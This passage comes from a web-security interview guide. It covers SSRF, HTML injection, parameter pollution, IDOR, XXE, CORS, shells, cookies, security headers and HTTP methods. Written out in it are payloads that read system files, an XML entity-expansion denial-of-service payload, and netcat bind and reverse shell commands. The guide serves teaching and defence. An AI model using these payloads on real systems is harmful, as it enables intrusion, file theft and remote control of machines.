 Whitelists and DNS resolution


 Response handling
 Disable unused URL schemas
 Authentication on internal services

In the following examples, I will demonstrate how we can read the password file from our
server as well as how we can get the server to make external requests to another website.

Example 1:
 In this example, SSRF is present within the image URL field when creating a new
message. We begin by adding a new message, I have added the text, ‘ssrf4’ into the
Subject and Text field, as well as ‘sometext’ into the Image URL field – it is this string
that we will modify in our request via Burpsuite.

 We click the post button to create our new message and immediately capture the
request in Burpsuite. Next we replace our original ‘sometext’ value with the following
syntax:

28 | P a g e
 file///etc/passwd, as shown below:

 We then forward the request to the application. Returning to the web browser, you
will see that the application has accepted our change and the newly created message
is shown. Clicking upon message title we will be shown the message in full (Be sure
to turn off intercept in Burpsuite prior to trying to view the message). At this point,
we note that everything looks normal, however if we right click on the icon where we
would expect the image to appear, we can select copy image location, as shown below:

 Copying and pasting the image location into a new browser window, will result in the
browser presenting us with a prompt to save a binary file, as shown below:
29 | P a g e
 Subsequently, saving and opening this file we see that the contents of the Linux
passwd file has been returned to us, as shown below:

Example 2
 In our second example, we will use SSRF to perform a Remote File Inclusion(RFI). RFI
is the process of including remote files through the exploitation of input that not
properly sanitized, allowing the contents of the external URL to be injected. Our
example, isn’t particularly dangerous as we will simply be using it to read the
robots.txt file contained on the Secarma.co.uk website, however using the same
techniques, a hacker could host their own website containing malicious PHP scripts.
If they were able to identify that SSRF was present within an application, they could
submit a malicious link which our server would then attempt to read and execute.

30 | P a g e
 Again, we follow the same procedure as above, we create a new message, complete
the subject, text and image url fields and intercept the request in Burpsuite, this time
we ask the request to fetch an external resource as shown below.

 Once we change and forward the request, we return to the application and copy the
image location into a new browser tab. The result, the contents of the robots.txt file is
presented back to us, thus meaning that we were able to get the application server to
request both internal and external files on our behalf.

10) What is HTML injection?

31 | P a g e
The essence of this type of injection attack is injecting HTML code through the vulnerable
parts of the website. The Malicious user sends HTML code through any vulnerable field with
a purpose to change the website’s design or any information, that is displayed to the user.
Types of HTML Injection
This attack does not seem to be very difficult to understand or to perform, as HTML is
considered as a quite simple language. However, there are different ways to perform this
type of attack. We can also distinguish different types of this injection.
Firstly, different types may be sorted by the risks, that they bring.
However, main types are:
Stored HTML Injection
Reflected HTML Injection
#1) Stored HTML Injection:
The stored injection attack occurs when malicious HTML code is saved in the web server and
is being executed every time when the user calls an appropriate functionality.
#2) Reflected HTML Injection:
The reflected injection attack case, malicious HTML code is not being permanently stored on
the web server. Reflected Injection occurs when the website immediately responds to the
malicious input.
This can be again divided into more types:
 Reflected GET
 Reflected POST
 Reflected URL
Reflected Injection attack can be performed differently according to the HTTP methods i.e,
GET and POST. I would remind, that with POST method data is being sent and with GET
method data is being requested.
To know, which method is used for appropriate website’s elements, we can check the source
of the page.
For Example, a tester can check the source code for the login form and find what method is
being used for it. Then appropriate HTML Injection method can be selected accordingly.

32 | P a g e
Reflected GET Injection occurs, when our input is being displayed (reflected) on the
website. Suppose, we have a simple page with a search form, which is vulnerable to this
attack. Then if we would type any HTML code, it will appear on our website and at the same
time it will be injected into the HTML document.

For Example, we enter simple text with HTML tags:

Reflected POST HTML Injection is a little bit more difficult. It occurs when a malicious
HTML code is being sent instead of correct POST method parameters.
For Example, we have a login form, which is vulnerable to HTML attack. Data typed in the
login form is being sent with POST method. Then, if we would type any HTML code instead
of the correct parameters, then it will be sent with POST method and displayed on the
website.
To perform Reflected POST HTML attack, it is recommended to use special browser’s plugin,
that will fake the sent data. One of it is Mozilla Firefox plugin “Tamper Data”. The plugin takes
over the sent data and allows the user to change it. Then changed data is being sent and
displayed on the website.

For Example, if we use such a plugin then we would send the same HTML code <h1>Testing
test</h1>, and it will also display the same as the previous example.

33 | P a g e
Reflected URL happens, when HTML code is being sent through the website’s URL,
displayed in the website and at the same time injected to the website’s HTML document.

Impact of HTML Injection

 Change the displayed website’s appearance.


 Steal other person’s identity.
11) What is HTTP Parameter Pollution?
HTTP Parameter Pollution, as implied by the name, pollutes the HTTP parameters of a web
application in order to perform or achieve a specific malicious task/attack different from the
intended behavior of the web application. Supplying multiple HTTP parameters with the
same name may cause an application to interpret values in unanticipated ways.
HTTP Parameter Pollution (HPP) vulnerabilities allow attackers to exploit web applications
by manipulating the query parameters in the URL and requested body.
HTTP Parameter Pollution affects both Server side as well as Client Side components as it is
injecting additional/multiple parameters (i.e. GET/POST/Cookie) to the links, tags,
attributes.
HPP is categorized under two main categories. They are:
Client-Side HPP
 Reflected HPP or Non-Persistent HPP
 Stored HPP or Persistent HPP
 DOM Based HPP
Server-Side HPP
 Standard HPP
 Second Order HPP
Demonstration of Client-Side HPP
Here is a demonstration of HPP Client-side Attacks in which translation of %26 in ‘&’ or ‘&’
in anchors or other attributes using the URL, such as:
http://example.com?mailid=15%26action=view%26action=delete
This URL will be used in anchor tags to reflect the values of polluted parameter, such as:
<a href=”http://example.com?mailid=15&action=view&action=delete”> View </a>

34 | P a g e
In the above mentioned anchor tag, the malicious URL is reflected. This malicious URL will
delete the mailid=15 instead of viewing it upon clicking on the “View” link in the website.
This is an example of Client side HTTP Parameter Pollution Attack.
Demonstration of Server-Side HPP
In Server-Side HPP, an attacker can send the polluted parameter either in GET/POST/Cookie
Variable, to manipulate the programming logic implemented in the application. These types
of attacks are also used to bypass the web application firewall rules.
Example of Server-Side Logic Manipulation:
Normal requests:
URL: showEmp?dept=engineering
Back-end: dbconnect.asp?who=users&dept=engineering
Database: select users from employee where dept=engineering
HPP injected requests:
URL: showEmp?dept=engineering%26who%3Dpasswd
Back-end: dbconnect.asp?who=users&dept=engineering&who=passwd
Database: select users, passwd from table where dept=engineering

Impact of HPP
 Cross site scripting
 Privilege escalation
 Authorization bypass
 Phishing Attack

Mitigation of HPP
 Keep in mind that your web application validates all forms, headers, cookie fields,
hidden fields, and parameters, i.e. input validation.
 Accept parameters only where they are supposed to be supplied.
 HTTP Parameter Pollution server side, it’s always important to use URL encoding
whenever you do GET/POST HTTP requests to an HTTP back-end.
 From the client-side point of view, use URL encoding whenever you are going to
include user-supplied content within links, etc.
12) What is Insecure Direct Object Reference (IDOR)?
Application provides direct access to objects based on user supplied inputs. As a result of
this vulnerability, attackers can bypass authorization and access resources in the system
directly.

35 | P a g e
There can be many variables in the application such as “id”, “pid”, “uid”. Although these
values are often seen as HTTP parameters, they can be found in headers and cookies. The
attacker can access, edit or delete any of other users’ objects by changing the values. This
vulnerability is called IDOR.
Impact of IDOR vulnerabilities
 Account takeover, Access very important data (such as credit card)
 Change / delete another users’ public data, Access private / public important data
(such as tickets, invoice, payment information)
 Access / delete / change private data (limited personal info: name, address etc.)
 Access any unimportant data
The prevention of Insecure Direct Object References
 Access Control Check
The application should perform an access control check to ensure the user is
authorized for the requested object or service. One way to implement this is to use
role-based authorization.
 Indirect Reference Map
 Validate User Inputs
 Use per user or session indirect object references
13) What is the difference between IDOR vs Privilege escalation?
"Privilege escalation" is an attack technique and "Insecure Direct Object Reference" is a
vulnerability. You can do privilege escalations attacks when you have IDOR issues.

14) What is XML External Entity (XXE)?

XML External Entity (XXE) refers to a specific type of Server-side Request Forgery
(SSRF) attack, whereby an attacker is able to cause Denial of Service (DoS) and access local
or remote files and services, by abusing a widely available, rarely used feature in XML
parsers.
XML is a vastly used data format found in everything from web services (XML-RPC, SOAP,
REST…) to documents (XML, HTML, DOCX) and image files (SVG, EXIF data…) use XML.
Naturally, where there is XML, there is an XML parser – hold onto that thought, we’ll be
coming back to it shortly.
The following is an example of a simple web application that accepts XML input, parses it,
and outputs the result.
Request Response

POST http://example.com/xml HTTP/1.1 HTTP/1.0 200 OK

36 | P a g e
<foo>
Hello World Hello World
</foo>

XML, however, can do much more than simply declaring elements, attributes and text. XML
documents can specify a set of markup declarations that define a document type, in order for
an XML parser to validate the XML document for correctness before it gets processed. There
are two ways of doing this – either through an XML Schema Definition (XSD), or a Data Type
Definition (DTD).
Data Type Definitions (DTDs), are what we shall be focusing on, since that’s where XML
External Entity vulnerabilities occur. DTDs can be pretty much considered legacy, in fact they
are derived from SGML (XML’s ancestor).
The following is an example of a Data Type Definition (DTD) called foo with an element called
bar, which is now an alias of the word “World”. Therefore, any time &bar; is used, the XML
parser will replace that entity with the word “World”.
Request Response

POST http://example.com/xml HTTP/1.1 HTTP/1.0 200 OK

<!DOCTYPE foo [ Hello World


<!ELEMENT foo ANY>
<!ENTITY bar "World">
]>
<foo>
Hello &bar;
</foo>

While this initially seems harmless, XML entities can be used by an attacker to cause a Denial
of Service attack by embedding entities, within entities within entities. This attack is
commonly referred to as the “Billion Laughs attack”. Some XML parsers automatically limit
the amount of memory they can use.
Request Response

37 | P a g e
POST http://example.com/xml HTTP/1.1 HTTP/1.0 200 OK

<!DOCTYPE foo [ Hello World World World World World World


World World World World World World World
<!ELEMENT foo ANY> World World World World World World World
<!ENTITY bar "World "> World World World World World World World
World World World World World World World
<!ENTITY t1 "&bar;&bar;"> World World World World World World
<!ENTITY t2 "&t1;&t1;&t1;&t1;">
<!ENTITY t3 "&t2;&t2;&t2;&t2;&t2;">
]>
<foo>
Hello &t3;
</foo>

XML entities however, can be used for much more than Denial of Service since XML entities
do not necessarily have to be defined in the XML document. In fact, XML entities can come
from just about anywhere – including external sources, hence the name XML External
Entity (XXE). This is where XXE becomes a type of Server-side Request Forgery (SSRF)
attack.

An attacker can make the following request, and if the XML parser is configured to process
external entities (by default, many popular XML parsers are configured to do so), it will
return the contents of a file on the system.

38 | P a g e
Request Response

POST http://example.com/xml HTTP/1.1 HTTP/1.0 200 OK

<!DOCTYPE foo [ DISTRIB_ID=Ubuntu


<!ELEMENT foo ANY> DISTRIB_RELEASE=16.04
<!ENTITY bar SYSTEM DISTRIB_CODENAME=xenial
"file:///etc/lsb-release"> DISTRIB_DESCRIPTION="Ubuntu 16.04 LTS"
]>
<foo>
&bar;
</foo>

Of course, an attacker is not limited to system files, an attacker can easily steal source code
if they know the location and structure of the web application. It’s also worth mentioning,
that with some XML parsers, it’s even possible to get directory listings in addition to the
contents of a file.
XML External Entity can be taken even further by making regular HTTP requests to files on
the local network (i.e. accessible only behind the firewall).
Request Response

POST http://example.com/xml HTTP/1.1 HTTP/1.0 200 OK

<!DOCTYPE foo [ Hello, I'm a file on the local netwo


rk (behind the firewall)
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"http://192.168.0.1/secret.txt">
]>
<foo>
&bar;
</foo>

39 | P a g e
15) What is CORS (Cross Origin Resource Sharing)?
Cross-origin resource sharing (CORS) is a standard for accessing web resources on different
domains. It is very important security concept implemented by web browsers to prevent
Javascript or CSS code from making requests against a different origin.
In order to keep a website and its users secure from the security risks involved with sharing
resources across multiple domains the use of CORS is recommended, but what is CORS?
CORS, also known as Cross-Origin Resource Sharing, allows resources such as JavaScript and
web fonts to be loaded from domains other than the origin parent domain.
These days, a web page commonly loads images, stylesheets, scripts, etc. from other domains.
Although, a few years ago due to security reasons, web fonts and AJAX (XML Http Requests)
were normally restricted to the same-origin policy which restricted their use between
domains.
Two most important CORS Headers:
Origin: It is set by browser in every CORS request. Its value is the domain name from which
the request originates.
Access-Control-Allow-Origin: It is set by server in every CORS response. Depending on its
value, the browser decides if the response is allowed or not. It can be set to * (also called the
wildcard character) to make resources public (However, this is not a good practice)

A “Real-World” Example of How CORS Works


CORS works by having the origin domain send HTTP request headers to the host domain that
is hosting the resource. The example below shows that https://www.keycdn.com is the
Origin domain that is requesting a resource from the Host: cdn.keycdn.com.

Once cdn.keycdn.com receives the request, it responds by either allowing or denying the
origin domain access to the requested resources based on the CORS settings configured. In

40 | P a g e
the example below, it shows that the host responded with the response header of Access-
Control-Allow-Origin: * . The “*” means all domains are allowed to access this resource.

Mitigation of CORS
 ‘Access-Control-Allow-Origin’ should be never set to * if the resource contains
sensitive information.
 The mitigation is simple and just a proper configuration. Configure the Access-
Control-Allow-Origin header to allow requests only from the domains that you trust.
For e.g.: Access-Control-Allow-Origin: saurabh.com.
 Make sure that in server side validation for checking the origin header value, you are
comparing with absolute value and NOT with regular expression.
For example: The following code does a comparison with regular expression:
RegEx (“^https://mail.example.com$”)
In the above validation, dots (.) mean any character. So, an attacker can bypass it by
making the CORS request origin from following domain: https://mailxexample.com
The patched code will be:
if($_SERVER[“HTTP_ORIGIN”] == “https://mail.example.com”)
o {
 header(“Access-Control-Allow-Origin: https://mail.example.com”);
o }
 Client should not trust the received content without sanitization because that will
result in client side code execution. For example: If website abc.com trusts and fetches
cross domain data from example.com. example.com has a malicious intent and starts
sering malicious javascript to abc.com, then abc.com can protect its users from cross
site scripting by sanitizing the received data and then presenting it to its users.
16) What is bind shell & reverse shell? And what is the difference?
A shell is a software that acts as an intermediary between user and the kernel. It provides
the user an interface which provides access to the services of kernel.

41 | P a g e
Eg: Bash shell etc...

Code:
+-----------------+ _______________ +----------------+
| Alice | Behind NAT / / | Bob |
| With Private ip | ----> ----> / Internet /----> ----> | with Public IP |
+-----------------+ /______________/ +----------------+

Ok.. So in this scenario. Alice has a computer connected to the internet with a private ip..(no
hosting) while Bob is connected to the internet with a Public IP (Hosted)..It basically means
Bob's system can be accessed by anyone connected on the internet but this doesn’t go for
Alice.. Alice's system being behind the NAT cannot be directly connected by other Machines
on the internet.
Bind Shell
There are a number of ways that you can bind your shell to a port. We will use NetCat to bind
a shell.
We can take cmd.exe and bind it to a local port, and anyone connecting to this port will be
presented with a command prompt belonging to that computer. This is known as a BIND
SHELL.
Scenario 1: -
As always, the two fictional characters Bob and Alice are trying to connect to each other.
Suppose, Bob is running a Windows machine, and has a public IP, through which he directly
connects to the internet. Bob needs Alice's assistance to help him out (basically perform
Remote Administration).
Alice, running a Linux machine, however has a NAT connection, and a non-routable IP
Address.
So, in order for this to complete, Bob needs to bind his cmd.exe process to a TCP port on his
machine
and inform Alice what port to connect to. This can be achieved using NetCat.
Bob will have to execute the following commands using NetCat on his machine: -
$ nc -lvp 4444 -e cmd.exe
-lvp -> listen verbosly on foll port
-e -> bind NetCat to the subsequent process.
This command makes available the cmd.exe process over port 4444 and redirects all the
stdout, stdin and stderr to that port.

42 | P a g e
Alice can now connect to this IP and port from her machine, using NetCat.
$ nc -v 192.168.0.111 4444
Alice will immediately get a windows cmd prompt from where she can manage Bob's
machine, depending on the privileges.
Reverse Shell
Scenario 2: -
This is a reverse of scenario 1. Now suppose Alice needs Bob's assistance.
Again as before, Alice has a NAT connection to the internet, and Bob has a public IP. So, Bob
cannot directly connect to Alice's computer.
Now Alice can send her command prompt to Bob's machine. As far as network traffic is
concerned, Alice will be connecting to Bob's machine.
In this scenario, rather than Alice connecting to Bob's command shell, Alice will be sending
her command shell to Bob.
Bob will first start a listener on a given port using NetCat:-
$ nc -lvp 4444
Now Alice will be sending her command prompt over to Bob's machine, again using NC.
This situation is different, because we'll be sending Linux shell rather than a Windows cmd
prompt.
So, rather than binding cmd.exe, we'll be binding the bash shell.
$ nc -v 192.168.0.111 4444 -e /bin/bash
After this command the NC listener on Bob's machine will receive the Linux shell from Alice.
Bob can now execute bash commands on Alice's machine.
Bind shell
Bind shell is a type of shell in which the target machine opens up a communication port or a
listener on the victim machine and waits for an incoming connection. The attacker then
connects to the victim machine’s listener which then leads to code or command execution on
the server.
Reverse shell
A reverse shell is a type of shell in which the target machine communicates back to the
attacking machine. The attacking machine has a listener port on which it receives the
connection, which by using, code or command execution is achieved.

43 | P a g e
Difference between bind shell and reverse shell

Bind shell: The shell that the attacker uses after connecting to the server.

Reverse shell: The shell that the attacker uses after the server connects to the attacker.
17) What are Cookie attributes and their importance?
Name: Specifies the name of the cookie
Value: Specifies the value of the cookie
Secure: Specifies whether or not the cookie should only be transmitted over a secure HTTPS
connection. TRUE indicates that the cookie will only be set if a secure connection exists.
Default is FALSE
Domain: Specifies the domain name of the cookie. To make the cookie available on all
subdomains of example.com, set domain to “example.com”. Setting it to www.example.com
will make the cookie only available in the www subdomain
Path: Specifies the server path of the cookie. If set to “/”, the cookie will be available within
the entire domain. If set to “/php/”, the cookie will only be available within the php directory
and all sub-directories of php. The default value is the current directory that the cookie is
being set in

44 | P a g e
HTTPOnly: If set to TRUE the cookie will be accessible only through the HTTP protocol (the
cookie will not be accessible by scripting languages). This setting can help to reduce identity
theft through XSS attacks. Default is FALSE
Expires: Specifies when the cookie expires. The value: time ()+86400*30, will set the cookie
to expire in 30 days. If this parameter is omitted or set to 0, the cookie will expire at the end
of the session (when the browser closes). Default is 0.
Necessity of Cookies
Cookies can be used for various purposes –
Identifying Unique Visitors.
Http is a stateless protocol; cookies permit us to track the state of the application using small
files stored on the user’s computer.
Recording the time each user spends on a website.
18) What is the difference between directory traversal and file inclusion?
Basically, the difference is that with a file inclusion vulnerability, the resource is loaded and
executed in the context of the current application. A directory traversal vulnerability on the
other hand, only gives you the ability to read the resource.
19) What is Directory/Path Traversal?
Improperly implemented access control list of directories in web server can lead to directory
traversal/path traversal attack. In simple words, an attacker can retrieve unauthorized files
and directories from the server.
This is a type of vulnerability where an attacker is able to access beyond the web root
directory, into the restricted directories on the web server. Then an attacker will be able to
access system files, run OS commands, access configuration information, etc.
20) What is parameter tampering?
This involves modifying parameters exchanged between client and server, which may lead
to XSS attack and SQL injection attack. Usually, HTML data goes as a name-value pair; if the
attacker is able to modify the values of the parameter during transfer, it may lead to many
other attacks. Parameter tampering can often be done with:
 Cookies
 Form Fields
 URL Query Strings
 HTTP Headers
Mitigation of Parameter tampering
 Server-side validation
45 | P a g e
 Encrypt data
21) What is content spoofing?
Content spoofing is an attack technique used to trick a user into believing that certain content
appearing on a Web site is legitimate and not from an external source.
22) What is HSTS?
HTTP Strict Transport Security (HSTS) is a web server directive that informs user agents and
web browsers how to handle its connection through a response header sent at the very
beginning and back to the browser.
This sets the Strict-Transport-Security policy field parameter. It forces those connections
over HTTPS encryption, disregarding any script's call to load any resource in that domain
over HTTP. HSTS is but one arrow in a bundled sheaf of security settings for your web server
or your web hosting service.
HSTS Perpetual Requirements
 Your website must have a valid SSL Certificate. You can check the validity of your SSL
at GlobalSign's SSL Checker.
 Redirect ALL HTTP links to HTTPS with a 301 Permanent Redirect.
 All subdomains must be covered in your SSL Certificate. Consider ordering a Wildcard
Certificate.
 Serve an HSTS header on the base domain for HTTPS requests.
 Max-age must be at least 10886400 seconds or 18 Weeks. Go for the two years value,
as mentioned above!
 The includeSubDomains directive must be specified if you have them!
 The preload directive must be specified.
23) What Are HTTP Security Headers?
Whenever a browser requests a page from a web server, the server responds with the
content along with HTTP Response Headers. Some of these headers contain content meta
data such as the content-encoding, cache-control, status error codes, etc.
Along with these are also HTTP security headers that tell your browser how to behave when
handling your site’s content. For example, by using the strict-transport-security you can
force the browser to communicate solely over HTTPS. There are six different HTTP security
headers that we will explore below (in no particular order) that you should be aware of and
we recommend implementing if possible.
1. Content Security Policy

The content-security-policy HTTP header provides an additional layer of security. This


policy helps prevent attacks such as Cross Site Scripting (XSS) and other code injection

46 | P a g e
attacks by defining content sources which are approved and thus allowing the browser
to load them.

Web server only accepts approved requests sources from client and blocks the malicious
sources.

Client-----------Request()-------- https://www.ex.com/assets/js.aspx Content security


policy(default-src https://www.ex.com)

Client-----------Request()-------- https://www.ex.com/assets/css/ajax.aspx Content


security policy(default-src https://www.ex.com)

Client-----------Request()-------- X https://www.hack.com/assets.aspx Content


security policy(default-src https://www.ex.com)

There are many directives which you can use with content security policy. This example below
allows scripts from both the current domain (defined by ‘self’) as well as google-analytics.com.

content-security-policy: script-src 'self' https://www.google-analytics.com

2. X-XSS-Protection
The X-XSS-Protection header is designed to defend web applications against reflective XSS
attacks. The application server sets this header in the client browser with proper values to
disable the protection or to sanitize or block reflective XSS attacks.
x-xss-protection: 1; mode=block

Header Value Description

0
Disable the protection

1
Protection enabled. If an XSS attack is d
etected, the browser will sanitize the p
age to stop the attack.

1; mode=block Protection enabled. When an XSS attac


k is detected, rather than sanitizing the

47 | P a g e
page, the browser will prevent the page
from rendering.

3. HTTP Strict Transport Security (HSTS)


The strict-transport-security header is a security enhancement that restricts web browsers
to access web servers solely over HTTPS. This ensures the connection cannot be establish
through an insecure HTTP connection which could be susceptible to attacks.
Here is an example of what the header looks like. You can include the max age, subdomains,
and preload.
strict-transport-security: max-age=31536000; includeSubDomains; preload

Header Value Description

max-age=SECONDS The time, in seconds, the browser should r


emember that a site is only to be accessed
using HTTPS.

includeSubDomains If this optional parameter is specified, this


rule also applies to all of the site’s subdom
ains.

Preload Chrome’s HSTS preload list.

4. X-Frame-Options
The X-Frame-Options response header protects web applications against clickjacking
attacks. The application server sets the X-Frame-Options header policy in the client browser
to allow or deny rendering of the web content in the frames of third-party websites.
Here is an example of what the header looks like.
x-frame-options: SAMEORIGIN

48 | P a g e
Header Value Description

Deny No rendering within a frame.

Sameorigin No rendering if the origin doesn’t match.

allow-from: <DOMAIN list> Allows rendering in frames loaded from a


specified DOMAIN.

5. Public-Key-Pins
The public-key-pins header tells the web browser to associate a public key with a certain
web server to prevent MITM attacks using rogue and forged X.509 certificates. This protects
users in case a certificate authority is compromised. Here is an example of what the header
looks like.
public-key-pins: pin-
sha256="t/OMbKSZLWdYUDmhOyUzS+ptUbrdVgb6Tv2R+EMLxJM="; max-age=600;
report-uri=”https://www.keycdn.com”
6. X-Content-Type-Options
When the application server sets the X-Content-Type-Options header to “nosniff” in the
client browser, the script and stylesheet elements will reject responses with incorrect
Multipurpose Internet Mail Extensions (MIME) types, thus limiting exposure to downloads
and the risk of uploaded content that could be treated as executable or dynamic HTML files.
This HTTP security header helps to prevent attacks based on MIME type confusion.
x-content-type-options: nosniff

Header Value Description

49 | P a g e
Nosniff This will prevent the browser from MI
ME-sniffing a response away from the d
eclared content type.

24) List out the controls to test during the assessment?


 Information gathering
 Configuration and Deploy management testing
 Identify Management testing
 Authenticate Testing
 Authorization Testing
 Session Management Testing
 Data Validation Testing
 Error Handling
 Cryptography
 Business logic testing
 Client side testing
25) What are Insecure HTTP Methods?
PUT
The PUT method replaces all current representations of the target resource with the request
payload. The following example requests the server to save the given entity-body in
hello.htm at the root of the server:
PUT /hello.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.anywebsitecanbehere.com
Accept-Language: en-us
Connection: Keep-Alive
Content-type: text/html
Content-Length: 182
<html>
<body>
<h1>Hello, World!</h1>

50 | P a g e
</body>
</html>
The server will store the given entity-body in hello.htm file and will send the following
response back to the client:
HTTP/1.1 201 Created
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html
Content-length: 30
Connection: Closed
<html>
<body>
<h1>The file was created.</h1>
</body>
</html>
DELETE
The DELETE method deletes the specified resource. The following example requests the
server to delete the given file hello.htm at the root of the server:
DELETE /hello.htm HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.anywebsitecanbehere.com
Accept-Language: en-us
Connection: Keep-Alive
The server will delete the mentioned file hello.htm and will send the following response back
to the client:
HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Content-type: text/html

51 | P a g e
Content-length: 30
Connection: Closed
<html>
<body>
<h1>URL deleted.</h1>
</body>
</html>
CONNECT
The CONNECT method establishes a tunnel to the server identified by the target resource.
The following example requests a connection with a web server running on the host
anywebsitecanbehere.com:
CONNECT www.anywebsitecanbehere.com HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
The connection is established with the server and the following response is sent back to the
client:
HTTP/1.1 200 Connection established
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
OPTIONS
The OPTIONS method is used to describe the communication options for the target resource.
The client can specify a URL for the OPTIONS method, or an asterisk (*) to refer to the entire
server. The following example requests a list of methods supported by a web server:
OPTIONS * HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
The server will send an information based on the current configuration of the server, for
example:
HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Allow: GET, HEAD, POST, OPTIONS, TRACE

52 | P a g e
Content-Type: httpd/unix-directory
TRACE
The TRACE method performs a message loop-back test along the path to the target resource.
The following example shows the usage of TRACE method:
TRACE / HTTP/1.1
Host: www.anywebsitecanbehere.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
The server will send the following message in response to the above request:
HTTP/1.1 200 OK
Date: Mon, 27 Jul 2009 12:28:53 GMT
Server: Apache/2.2.14 (Win32)
Connection: close
Content-Type: message/http
Content-Length: 39
TRACE / HTTP/1.1
Host: www.anywebsitecanbehere.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

53 | P a g e

You might also like